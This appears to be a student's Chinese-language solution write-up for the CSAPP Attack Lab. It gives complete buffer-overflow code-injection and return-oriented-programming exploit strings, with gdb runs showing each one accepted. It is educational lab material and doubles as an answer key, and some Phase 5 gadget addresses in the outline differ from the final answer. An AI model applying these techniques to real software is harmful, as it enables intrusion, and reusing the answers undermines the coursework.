Ctarget

Phase1

由题意可得，test 函数会调用 getbuf 函数，我们将 getbuf 反汇编后查看，发现 getbuf 开辟了 0x28 字节也就是 40 字节的空间，题目要求我们注入 touch1，我们只需要将 getbuf 的栈空间填满后再添加 touch1 的地址即可完成。

我们查看到 touch1 的地址为 0x555555555954，编写 touch1.txt 为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
54 59 55 55 55 55 00 00

经 hex2raw 转化为二进制字符串输入得到如下结果

```
(gdb) run < hex1.txt
Starting program: /home/jovyan/CSAPP/10225501403/target82/ctarget < hex1.txt
Cookie: 0x5cd61ef1
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 1277) exited normally]
```

Phase2

第二题要求我们将 cookie 存储至%rdi 中并且注入 touch2，我们考虑到，getbuf 用于读取的栈区内的代码是可运行的，那么可以编写汇编代码来实现。

我们查看 touch2 地址为 0x0000555555555982

编写如下汇编代码

```
movq $0x5cd61ef1, %rdi
pushq $0x0000555555555982
ret
```

但是发现无法编译，提示报错为不能直接将该地址立即数 pushq，采用先移动至寄存器再 push，修改如下编译完成

```
movq $0x5cd61ef1, %rdi
movq $0x0000555555555982, %rax
pushq %rax
ret
```

查看其反汇编，编写 phase2.txt

48 c7 c7 f1 1e d6 5c 48
b8 82 59 55 55 55 55 00
00 50 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

此时还需要查看我们该输入代码的地址，只需要查看 getbuf 栈空间分配后%rsp 中的地址即

可，补全后为
48 c7 c7 f1 1e d6 5c 48
b8 82 59 55 55 55 55 00
00 50 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 04 67 55 00 00 00 00←getbuf 栈顶
进行验证

```
(gdb) run < hex2.txt
Starting program: /home/jovyan/CSAPP/10225501403/target82/ctarget < hex2.txt
Cookie: 0x5cd61ef1
Type string:Touch2!: You called touch2(0x5cd61ef1)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase3

本题与 phase2 类似，但是由于 hexmatch 和 strcmp 函数的存在，可能会覆盖 getbuf 栈空间内的数据，那么我们需要将 cookie 存入 test 函数的栈中，即返回地址的后面 8 个字节，同时把其地址存入%rdi。我们查看 test 的栈空间地址为 0x556704a8，那么我们需要编写的汇编代码为

```
movq $0x556704a8, %rdi
movq $0x0000555555555a99, %rax
pushq %rax
ret
```

编译后反汇编再编写答案为
48 c7 c7 a8 04 67 55 48
b8 99 5a 55 55 55 55 00
00 50 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 04 67 55 00 00 00 00 ←getbuf 栈顶
35 63 64 36 31 65 66 31 ←cookie
注意此处的 cookie 是转化为阿斯克码后的 cookie
我们验证答案发现通过

```
(gdb) run < hex3.txt
Starting program: /home/jovyan/CSAPP/10225501403/target82/ctarget < hex3.txt
Cookie: 0x5cd61ef1
Type string:Touch3!: You called touch3("5cd61ef1")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase4

本题和第五题设置了栈随机化且无法运行 getbuf 栈区的代码，因此我们之前的操作无法进行攻击，但是我们可以利用 gadget 来拼凑我们需要的汇编代码来进行攻击。第四题要求和第二题一样，我们需要把代码写入 test 栈内，且为

Popq %rax

Cookie

Movq %rax，%rdi

&touch2

我们查看到 popq %rax 为 58，movq %rax，%rdi 为 48 89 c7，我们在 rtarget 反汇编文件里搜索，最终拼凑成如下答案

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

61 5b 55 55 55 55 00 00←popq %rax

f1 1e d6 5c 00 00 00 00←cokie

59 5b 55 55 55 55 00 00 ← movq %rax，%rdi

82 59 55 55 55 55 00 00←&touch2

验证答案

```
(gdb) run < hex4.txt
Starting program: /home/jovyan/CSAPP/10225501403/target82/rtarget < hex4.txt
Cookie: 0x5cd61ef1
Type string:Touch2!: You called touch2(0x5cd61ef1)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 142) exited normally]
```

Phase5

同理我们要完成 phase3 一样的任务，但是由于地址不固定，我们很难确认 cookie 的地址，cookie 的地址是 test 的栈顶+前面代码占用的字节数，我们需要实现加法，恰好发现有个函数为 add_xy，计算了 rdi+rsi 并将结果存于 rax，这样需要将 test 的栈顶地址和偏移量分别存入 rdi 和 rsi，再调用 add_xy 即可。

编写汇编并用 farm.c 的函数拼凑

movq rsp rax

0x0000555555555b91

movq rax rdi

0x0000555555555b59

popq rax

0x0000555555555b61

num

movq rax rsi

movl rax edx

0x0000555555555b84
movl edx ecx
0x0000555555555b7d
movl ecx esi
0x0000555555555ba5
lea (rdi,rsi,1),rax
0x0000555555555b77
touch3
cokie
最终答案为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cf 5b 55 55 55 55 00 00
3d 5b 55 55 55 55 00 00
61 5b 55 55 55 55 00 00
48 00 00 00 00 00 00 00
25 5c 55 55 55 55 00 00
7d 5b 55 55 55 55 00 00
ac 5b 55 55 55 55 00 00
77 5b 55 55 55 55 00 00
3d 5b 55 55 55 55 00 00
99 5a 55 55 55 55 00 00
35 63 64 36 31 65 66 31
运 行 测 试

```
(gdb) run < hex5.txt
Starting program: /home/jovyan/CSAPP/10225501403/target82/rtarget < hex5.txt
Cookie: 0x5cd61ef1
Type string:Touch3!: You called touch3("5cd61ef1")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 166) exited normally]
```

最终通过，完成 attacklab